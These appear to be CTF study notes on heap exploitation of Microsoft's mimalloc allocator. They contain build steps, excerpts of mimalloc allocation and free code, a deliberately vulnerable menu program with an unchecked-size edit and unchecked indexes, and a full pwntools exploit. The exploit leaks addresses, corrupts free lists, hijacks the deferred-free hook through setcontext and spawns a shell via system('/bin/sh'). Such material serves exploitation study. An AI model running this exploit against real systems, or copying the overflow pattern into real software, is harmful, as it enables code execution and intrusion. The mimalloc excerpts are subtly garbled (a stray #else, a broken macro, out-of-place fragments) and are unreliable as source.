MiMalloc

git clone https://github.com/microsoft/mimalloc.git

cmake ../mimalloc/
make
sudo make install

sudo cp -r /home/chen/mimalloc/include/* /usr/include/

gcc -o test ./test.c -lmimalloc

extern inline void* _mi_heap_malloc_zero(mi_heap_t* heap, size_t size, bool zero) mi_attr_noexcept {
  return _mi_heap_malloc_zero_ex(heap, size, zero, 0);
}

mi_decl_nodiscard extern inline mi_decl_restrict void* mi_heap_malloc(mi_heap_t* heap, size_t size) mi_attr_noexcept {
  return _mi_heap_malloc_zero(heap, size, false);
}

mi_decl_nodiscard extern inline mi_decl_restrict void* mi_malloc(size_t size) mi_attr_noexcept {
  return mi_heap_malloc(mi_prim_get_default_heap(), size);
}

// The main allocation function
extern inline void* _mi_heap_malloc_zero_ex(mi_heap_t* heap, size_t size, bool zero, size_t huge_alignment) mi_attr_noexcept {
  if mi_likely(size <= MI_SMALL_SIZE_MAX) {
    mi_assert_internal(huge_alignment == 0);
    return mi_heap_malloc_small_zero(heap, size, zero);
  }
  else {
    mi_assert(heap!=NULL);
    mi_assert(heap->thread_id == 0 || heap->thread_id == _mi_thread_id());   // heaps are thread local
    void* const p = _mi_malloc_generic(heap, size + MI_PADDING_SIZE, zero, huge_alignment);  // note: size can overflow but it is detected in malloc_generic
    mi_track_malloc(p,size,zero);
    #if MI_STAT>1
    if (p != NULL) {
      if (!mi_heap_is_initialized(heap)) { heap = mi_prim_get_default_heap(); }
      mi_heap_stat_increase(heap, malloc, mi_usable_size(p));
    }
    #endif
    #if MI_DEBUG>3
    if (p != NULL && zero) {
      mi_assert_expensive(mi_mem_is_zero(p, size));
    }
    #endif
    return p;
  }
}

#define MI_SMALL_WSIZE_MAX (128)
#define MI_SMALL_SIZE_MAX (MI_SMALL_WSIZE_MAXsizeof(void))

void* _mi_malloc_generic(mi_heap_t* heap, size_t size, bool zero, size_t huge_alignment) mi_attr_noexcept
{
  mi_assert_internal(heap != NULL);

  // initialize if necessary
  if mi_unlikely(!mi_heap_is_initialized(heap)) {
    heap = mi_heap_get_default(); // calls mi_thread_init
    if mi_unlikely(!mi_heap_is_initialized(heap)) { return NULL; }
  }
  mi_assert_internal(mi_heap_is_initialized(heap));

  // call potential deferred free routines
  _mi_deferred_free(heap, false);

  // free delayed frees from other threads (but skip contended ones)
  _mi_heap_delayed_free_partial(heap);

  // find (or allocate) a page of the right size
  mi_page_t* page = mi_find_page(heap, size, huge_alignment);
  if mi_unlikely(page == NULL) { // first time out of memory, try to collect and retry the allocation once more
    mi_heap_collect(heap, true /* force */);
    page = mi_find_page(heap, size, huge_alignment);
  }

  if mi_unlikely(page == NULL) { // out of memory
    const size_t req_size = size - MI_PADDING_SIZE;  // correct for padding_size in case of an overflow on `size`
    _mi_error_message(ENOMEM, "unable to allocate memory (%zu bytes)\n", req_size);
    return NULL;
  }

  mi_assert_internal(mi_page_immediate_available(page));
  mi_assert_internal(mi_page_block_size(page) >= size);

  // and try again, this time succeeding! (i.e. this should never recurse through _mi_page_malloc)
  if mi_unlikely(zero && page->xblock_size == 0) {
    // note: we cannot call _mi_page_malloc with zeroing for huge blocks; we zero it afterwards in that case.
    void* p = _mi_page_malloc(heap, page, size, false);
    mi_assert_internal(p != NULL);
    _mi_memzero_aligned(p, mi_page_usable_block_size(page));
    return p;
  }
  else {
    return _mi_page_malloc(heap, page, size, zero);
  }
}

extern inline void* _mi_page_malloc(mi_heap_t* heap, mi_page_t* page, size_t size, bool zero) mi_attr_noexcept {
  mi_assert_internal(page->xblock_size==0||mi_page_block_size(page) >= size);
  mi_block_t* const block = page->free;
  if mi_unlikely(block == NULL) {
    return _mi_malloc_generic(heap, size, zero, 0);
  }
  mi_assert_internal(block != NULL && _mi_ptr_page(block) == page);
  // pop from the free list
  page->used++;
  page->free = mi_block_next(page, block);
  mi_assert_internal(page->free == NULL || _mi_ptr_page(page->free) == page);
  #if MI_DEBUG>3
  if (page->free_is_zero) {
    mi_assert_expensive(mi_mem_is_zero(block+1,size - sizeof(*block)));
  }
  #endif

  // allow use of the block internally
  // note: when tracking we need to avoid ever touching the MI_PADDING since
  // that is tracked by valgrind etc. as non-accessible (through the red-zone, see `mimalloc/track.h`)
  mi_track_mem_undefined(block, mi_page_usable_block_size(page));

  // zero the block? note: we need to zero the full block size (issue #63)
  if mi_unlikely(zero) {
    mi_assert_internal(page->xblock_size != 0); // do not call with zero'ing for huge blocks (see _mi_malloc_generic)
    mi_assert_internal(page->xblock_size >= MI_PADDING_SIZE);
    if (page->free_is_zero) {
      block->next = 0;
      mi_track_mem_defined(block, page->xblock_size - MI_PADDING_SIZE);
    }
    else {
      _mi_memzero_aligned(block, page->xblock_size - MI_PADDING_SIZE);
    }
  }

#if (MI_DEBUG>0) && !MI_TRACK_ENABLED && !MI_TSAN
  if (!zero && !mi_page_is_huge(page)) {
    memset(block, MI_DEBUG_UNINIT, mi_page_usable_block_size(page));
  }
#elif (MI_SECURE!=0)
  if (!zero) { block->next = 0; } // don't leak internal data
#endif

#if (MI_STAT>0)
  const size_t bsize = mi_page_usable_block_size(page);
  if (bsize <= MI_MEDIUM_OBJ_SIZE_MAX) {
    mi_heap_stat_increase(heap, normal, bsize);
    mi_heap_stat_counter_increase(heap, normal_count, 1);
#if (MI_STAT>1)
    const size_t bin = _mi_bin(bsize);
    mi_heap_stat_increase(heap, normal_bins[bin], 1);
#endif
  }
#endif

#if MI_PADDING // && !MI_TRACK_ENABLED
  mi_padding_t* const padding = (mi_padding_t*)((uint8_t*)block + mi_page_usable_block_size(page));
  ptrdiff_t delta = ((uint8_t*)padding - (uint8_t*)block - (size - MI_PADDING_SIZE));
  #if (MI_DEBUG>=2)
  mi_assert_internal(delta >= 0 && mi_page_usable_block_size(page) >= (size - MI_PADDING_SIZE + delta));
  #endif
  mi_track_mem_defined(padding,sizeof(mi_padding_t));  // note: re-enable since mi_page_usable_block_size may set noaccess
  padding->canary = (uint32_t)(mi_ptr_encode(page,block,page->keys));
  padding->delta  = (uint32_t)(delta);
  #if MI_PADDING_CHECK
  if (!mi_page_is_huge(page)) {
    uint8_t* fill = (uint8_t*)padding - delta;
    const size_t maxpad = (delta > MI_MAX_ALIGN_SIZE ? MI_MAX_ALIGN_SIZE : delta); // set at most N initial padding bytes
    for (size_t i = 0; i < maxpad; i++) { fill[i] = MI_DEBUG_PADDING; }
  }
  #endif
#endif

  return block;
}

// Allocate a page
// Note: in debug mode the size includes MI_PADDING_SIZE and might have overflowed.
static mi_page_t* mi_find_page(mi_heap_t* heap, size_t size, size_t huge_alignment) mi_attr_noexcept {
  // huge allocation?
  const size_t req_size = size - MI_PADDING_SIZE;  // correct for padding_size in case of an overflow on `size`
  if mi_unlikely(req_size > (MI_MEDIUM_OBJ_SIZE_MAX - MI_PADDING_SIZE) || huge_alignment > 0) {
    if mi_unlikely(req_size > PTRDIFF_MAX) {  // we don't allocate more than PTRDIFF_MAX (see <https://sourceware.org/ml/libc-announce/2019/msg00001.html>)
      _mi_error_message(EOVERFLOW, "allocation request is too large (%zu bytes)\n", req_size);
      return NULL;
    }
    else {
      return mi_large_huge_page_alloc(heap,size,huge_alignment);
    }
  }
  else {
    // otherwise find a page with free blocks in our size segregated queues
    #if MI_PADDING
    mi_assert_internal(size >= MI_PADDING_SIZE);
    #endif
    return mi_find_free_page(heap, size);
  }
}

#define MI_MEDIUM_OBJ_SIZE_MAX (MI_MEDIUM_PAGE_SIZE/4) // 128KiB on 64-bit

// Find a page with free blocks of `size`.
static inline mi_page_t* mi_find_free_page(mi_heap_t* heap, size_t size) {
  mi_page_queue_t* pq = mi_page_queue(heap,size);
  mi_page_t* page = pq->first;
  if (page != NULL) {
   #if (MI_SECURE>=3) // in secure mode, we extend half the time to increase randomness
    if (page->capacity < page->reserved && ((_mi_heap_random_next(heap) & 1) == 1)) {
      mi_page_extend_free(heap, page, heap->tld);
      mi_assert_internal(mi_page_immediate_available(page));
    }
    else
   #endif
    {
      _mi_page_free_collect(page,false);
    }

    if (mi_page_immediate_available(page)) {
      page->retire_expire = 0;
      return page; // fast path
    }
  }
  return mi_page_queue_find_free_ex(heap, pq, true);
}

static mi_page_t* mi_page_queue_find_free_ex(mi_heap_t* heap, mi_page_queue_t* pq, bool first_try)
{
  // search through the pages in "next fit" order
  #if MI_STAT
  size_t count = 0;
  #endif
  mi_page_t* page = pq->first;
  while (page != NULL)
  {
    mi_page_t* next = page->next; // remember next
    #if MI_STAT
    count++;
    #endif

    // 0. collect freed blocks by us and other threads
    _mi_page_free_collect(page, false);

    // 1. if the page contains free blocks, we are done
    if (mi_page_immediate_available(page)) {
      break;  // pick this one
    }

    // 2. Try to extend
    if (page->capacity < page->reserved) {
      mi_page_extend_free(heap, page, heap->tld);
      mi_assert_internal(mi_page_immediate_available(page));
      break;
    }

    // 3. If the page is completely full, move it to the `mi_pages_full`
    // queue so we don't visit long-lived pages too often.
    mi_assert_internal(!mi_page_is_in_full(page) && !mi_page_immediate_available(page));
    mi_page_to_full(page, pq);

    page = next;
  } // for each page

  mi_heap_stat_counter_increase(heap, searches, count);

  if (page == NULL) {
    _mi_heap_collect_retired(heap, false); // perhaps make a page available?
    page = mi_page_fresh(heap, pq);
    if (page == NULL && first_try) {
      // out-of-memory _or_ an abandoned page with free blocks was reclaimed, try once again
      page = mi_page_queue_find_free_ex(heap, pq, false);
    }
  }
  else {
    mi_assert(pq->first == page);
    page->retire_expire = 0;
  }
  mi_assert_internal(page == NULL || mi_page_immediate_available(page));
  return page;
}

void _mi_page_free_collect(mi_page_t* page, bool force) {
  mi_assert_internal(page!=NULL);

  // collect the thread free list
  if (force || mi_page_thread_free(page) != NULL) {  // quick test to avoid an atomic operation
    _mi_page_thread_free_collect(page);
  }

  // and the local free list
  if (page->local_free != NULL) {
    if mi_likely(page->free == NULL) {
      // usual case
      page->free = page->local_free;
      page->local_free = NULL;
      page->free_is_zero = false;
    }
    else if (force) {
      // append -- only on shutdown (force) as this is a linear operation
      mi_block_t* tail = page->local_free;
      mi_block_t* next;
      while ((next = mi_block_next(page, tail)) != NULL) {
        tail = next;
      }
      mi_block_set_next(page, tail, page->free);
      page->free = page->local_free;
      page->local_free = NULL;
      page->free_is_zero = false;
    }
  }

  mi_assert_internal(!force || page->local_free == NULL);
}

static inline mi_decl_restrict void* mi_heap_malloc_small_zero(mi_heap_t* heap, size_t size, bool zero) mi_attr_noexcept {
  mi_assert(heap != NULL);
  #if MI_DEBUG
  const uintptr_t tid = _mi_thread_id();
  mi_assert(heap->thread_id == 0 || heap->thread_id == tid); // heaps are thread local
  #endif
  mi_assert(size <= MI_SMALL_SIZE_MAX);
  #if (MI_PADDING)
  if (size == 0) { size = sizeof(void*); }
  #endif
  mi_page_t* page = _mi_heap_get_free_small_page(heap, size + MI_PADDING_SIZE);
  void* const p = _mi_page_malloc(heap, page, size + MI_PADDING_SIZE, zero);
  mi_track_malloc(p,size,zero);
  #if MI_STAT>1
  if (p != NULL) {
    if (!mi_heap_is_initialized(heap)) { heap = mi_prim_get_default_heap(); }
    mi_heap_stat_increase(heap, malloc, mi_usable_size(p));
  }
  #endif
  #if MI_DEBUG>3
  if (p != NULL && zero) {
    mi_assert_expensive(mi_mem_is_zero(p, size));
  }
  #endif
  return p;
}

void mi_free(void* p) mi_attr_noexcept
{
  if mi_unlikely(p == NULL) return;
  mi_segment_t* const segment = mi_checked_ptr_segment(p,"mi_free");
  const bool          is_local= (_mi_prim_thread_id() == mi_atomic_load_relaxed(&segment->thread_id));
  mi_page_t* const    page    = _mi_segment_page_of(segment, p);

  if mi_likely(is_local) {                       // thread-local free?
    if mi_likely(page->flags.full_aligned == 0)  // and it is not a full page (full pages need to move from the full bin), nor has aligned blocks (aligned blocks need to be unaligned)
    {
      mi_block_t* const block = (mi_block_t*)p;
      if mi_unlikely(mi_check_is_double_free(page, block)) return;
      mi_check_padding(page, block);
      mi_stat_free(page, block);
      #if (MI_DEBUG>0) && !MI_TRACK_ENABLED  && !MI_TSAN
      memset(block, MI_DEBUG_FREED, mi_page_block_size(page));
      #endif
      mi_track_free_size(p, mi_page_usable_size_of(page,block)); // faster then mi_usable_size as we already know the page and that p is unaligned
      mi_block_set_next(page, block, page->local_free);
      page->local_free = block;
      if mi_unlikely(--page->used == 0) {   // using this expression generates better code than: page->used--; if (mi_page_all_free(page))
        _mi_page_retire(page);
      }
    }
    else {
      // page is full or contains (inner) aligned blocks; use generic path
      _mi_free_generic(segment, page, true, p);
    }
  }
  else {
    // not thread-local; use generic path
    _mi_free_generic(segment, page, false, p);
  }
}

#define mi_track_page(page,access)  { size_t psize; void* pstart = _mi_page_start(_mi_page_segment(page),page,&psize); mi_track_mem_##access( pstart, psize); }

static inline bool mi_check_is_double_free(const mi_page_t* page, const mi_block_t* block) {
  bool is_double_free = false;
  mi_block_t* n = mi_block_nextx(page, block, page->keys); // pretend it is freed, and get the decoded first field
  if (((uintptr_t)n & (MI_INTPTR_SIZE-1))==0 &&  // quick check: aligned pointer?
      (n==NULL || mi_is_in_same_page(block, n))) // quick check: in same page or NULL?
  {
    // Suspicous: decoded value a in block is in the same page (or NULL) -- maybe a double free?
    // (continue in separate function to improve code generation)
    is_double_free = mi_check_is_double_freex(page, block);
  }
  return is_double_free;
}
#else
static inline bool mi_check_is_double_free(const mi_page_t* page, const mi_block_t* block) {
  MI_UNUSED(page);
  MI_UNUSED(block);
  return false;
}

static mi_decl_noinline bool mi_check_is_double_freex(const mi_page_t* page, const mi_block_t* block) {
  // The decoded value is in the same page (or NULL).
  // Walk the free lists to verify positively if it is already freed
  if (mi_list_contains(page, page->free, block) ||
      mi_list_contains(page, page->local_free, block) ||
      mi_list_contains(page, mi_page_thread_free(page), block))
  {
    _mi_error_message(EAGAIN, "double free detected of block %p with size %zu\n", block, mi_page_block_size(page));
    return true;
  }
  return false;
}

void mi_decl_noinline _mi_free_generic(const mi_segment_t* segment, mi_page_t* page, bool is_local, void* p) mi_attr_noexcept {
  mi_block_t* const block = (mi_page_has_aligned(page) ? _mi_page_ptr_unalign(segment, page, p) : (mi_block_t*)p);
  mi_stat_free(page, block);    // stat_free may access the padding
  mi_track_free_size(block, mi_page_usable_size_of(page,block));
  _mi_free_block(page, is_local, block);
}

static inline void _mi_free_block(mi_page_t* page, bool local, mi_block_t* block)
{
  // and push it on the free list
  //const size_t bsize = mi_page_block_size(page);
  if mi_likely(local) {
    // owning thread can free a block directly
    if mi_unlikely(mi_check_is_double_free(page, block)) return;
    mi_check_padding(page, block);
    #if (MI_DEBUG>0) && !MI_TRACK_ENABLED && !MI_TSAN
    if (!mi_page_is_huge(page)) {   // huge page content may be already decommitted
      memset(block, MI_DEBUG_FREED, mi_page_block_size(page));
    }
    #endif
    mi_block_set_next(page, block, page->local_free);
    page->local_free = block;
    page->used--;
    if mi_unlikely(mi_page_all_free(page)) {
      _mi_page_retire(page);
    }
    else if mi_unlikely(mi_page_is_in_full(page)) {
      _mi_page_unfull(page);
    }
  }
  else {
    _mi_free_block_mt(page,block);
  }
}

// call potential deferred free routines
  _mi_deferred_free(heap, false);

#include<mimalloc.h>
#include<stdio.h>
#include <stdlib.h>
char *chunk_ptr[0x20];
int chunk_size[0x20];
int count=0;
void init(){
    setvbuf(stdout, 0, 2, 0);
    setvbuf(stdin, 0, 2, 0);
}
void menu(){
    puts("1.mi_malloc");
    puts("2.mi_free");
    puts("3.edit");
    puts("4.show");
    puts("5.exit");
    printf(">> ");
}
int my_read(){
    char buf[0x8];
    read(0,buf,0x8);
    return atoi(buf);
}
void add(){
    int size;
    puts("Size :");
    size = my_read();
    chunk_size[count] = size;
    chunk_ptr[count] = mi_malloc(size);
    count ++;
}
void delete(){
    puts("Index :");
    int index = my_read();
    mi_free(chunk_ptr[index]);
}
void edit(){
    puts("Index :");
    int index = my_read();
    puts("Size :");
    int size = my_read();
    read(0,chunk_ptr[index],size);
}
void show(){
    puts("Index :");
    int index = my_read();
    puts(chunk_ptr[index]);
}
int main(){
    init();
    while(1){
        menu();
        int choice = my_read();
        switch(choice){
            case 1:
                add();
                break;
            case 2:
                delete();
                break;
            case 3:
                edit();
                break;
            case 4:
                show();
                break;
            case 5:
                exit(0);
            default:
                puts("Unknown option");
                break;
        }
    }
}

from pwn import*
from ctypes import *
io = process("./mimalloc_heap")
#io = remote("123.56.236.235",39254)
elf = ELF("./mimalloc_heap")
context.terminal = ['tmux','splitw','-h']
context.log_level = "debug"
libc = ELF("./glibc-all-in-one/libs/2.31-0ubuntu9.9_amd64/libc-2.31.so")

def debug():
    gdb.attach(io)
    pause()
def add(size):
    io.recvuntil(">> ")
    io.send("1")
    io.recvuntil("Size :")
    io.send(str(size))
def delete(index):
    io.recvuntil(">> ")
    io.send("2")
    io.recvuntil("Index :")
    io.send(str(index))
def edit(index,size,payload):
    io.recvuntil(">> ")
    io.send("3")
    io.recvuntil("Index :")
    io.send(str(index))
    io.recvuntil("Size :")
    io.send(str(size))
    io.send(payload)
def show(index):
    io.recvuntil(">> ")
    io.send("4")
    io.recvuntil("Index :")
    io.send(str(index))


add(0xa0)#0
show(0)
io.recv()
heap_addr = u64(io.recv(6).ljust(8,b'\x00'))-0x10140
success("heap_addr :"+hex(heap_addr))
payload = cyclic(0xa0)+p64(heap_addr+0x188)
edit(0,len(payload),payload)
add(0xa0)#1
add(0xa0)#2
show(2)
tld_main = u64(io.recvuntil("\x7f")[-6:].ljust(8,b'\x00'))
libc_addr = tld_main-0x216380
libmimalloc_addr = tld_main-0x24380
success("tld_addr :"+hex(tld_main))
add(0xb0)#3
defreed_addr = libmimalloc_addr + 0x2e190
payload = cyclic(0xc0)+p64(defreed_addr-0x8)
edit(3,len(payload),payload)
add(0xb0)#4
add(0xb0)#5
success("libc_addr :"+hex(libc_addr))
success("libmimalloc_addr :"+hex(libmimalloc_addr))
system_addr = libc_addr + libc.sym['system']
setcontext_addr = libc_addr + libc.sym['setcontext']+61
rdi_addr = libc_addr + 0x0000000000023b6a
ret_addr = rdi_addr+1
binsh_addr = libc_addr + next(libc.search(b'/bin/sh'))
payload = p64(heap_addr+0x100a0)+p64(setcontext_addr)
edit(5,len(payload),payload)

payload = p64(rdi_addr)+p64(binsh_addr)+p64(system_addr)
payload = payload.ljust(0xa0,b'\x00')+p64(heap_addr+0x100a0)+p64(ret_addr)
edit(0,len(payload),payload)
# gdb.attach(io,'b *_mi_malloc_generic+327')
add(0x500)
# pause()
io.interactive()